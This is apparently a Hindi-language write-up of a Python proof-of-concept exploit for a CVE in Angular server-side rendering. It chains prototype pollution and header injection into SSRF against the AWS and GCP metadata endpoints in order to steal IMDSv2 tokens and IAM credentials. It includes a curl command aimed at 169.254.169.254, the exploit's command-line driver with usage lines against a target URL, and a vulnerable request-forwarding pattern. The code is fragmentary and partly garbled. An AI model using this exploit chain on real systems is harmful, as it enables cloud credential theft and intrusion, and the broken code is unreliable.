
Python PoC जो Angular SSR में CVE-2026-27739 का उपयोग करता है: prototype pollution के माध्यम से header injection और credential चोरी के लिए AWS IMDS/GCP metadata तक SSRF chaining।
curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}
विवरण: Angular SSR असुरक्षित क्वेरी पैरामीटर को प्रोसेस करता है जो प्रोटोटाइप चेन को प्रभावित करते हैं प्रभाव: रिक्वेस्ट हेडर मैनिपुलेशन, संभावित SSRF चेनिंग
express-validator या समान का उपयोग करेंdef main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF & Header Injection Exploit") parser.add_argument("target", help="Target Angular SSR application URL") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL verification")
args = parser.parse_args()
exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)
print(f"[+] Targeting: {args.target}")
print(f"[+] SSL Verify: {'Disabled' if args.no_ssl_verify else 'Enabled'}")
# Execute exploit chain
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()
if name == "main": main() उपयोग bash
python3 angular_ssr_exploit.py https://target.com
python3 angular_ssr_exploit.py https://target.com --no-ssl-verify यह कैसे काम करता है हेडर इंजेक्शन टेस्ट: प्रोटोटाइप प्रदूषण पेलोड और असुरक्षित फॉरवर्डेड हेडर भेजता है जिन्हें Angular SSR असुरक्षित रूप से प्रोसेस कर सकता है SSRF चेन: X-Forwarded-For/X-Original-URL के माध्यम से AWS IMDS, GCP मेटाडेटा, लोकलहोस्ट सेवाओं तक पहुंच का परीक्षण करता है IMDSv2 टोकन एक्सट्रैक्शन: AWS मेटाडेटा टोकन चुराने के लिए SSRF को चेन करता है फिर IAM क्रेडेंशियल्स स्वचालित रिपोर्टिंग: PoCs के साथ CVSS-स्कोर किया गया पेंटेस्ट रिपोर्ट जनरेट करता है तकनीकी विवरण मूल कारण: Angular Universal SSR ऐप्स अक्सर req.headers को सैनिटाइजेशन के बिना सीधे आंतरिक API को फॉरवर्ड करते हैं:
javascript
// Vulnerable Angular SSR pattern app.get('*', (req, res) => { const url = req.headers['x-original-url'] || req.originalUrl; // SSRF internalFetch(url, { headers: req.headers }); // Header injection });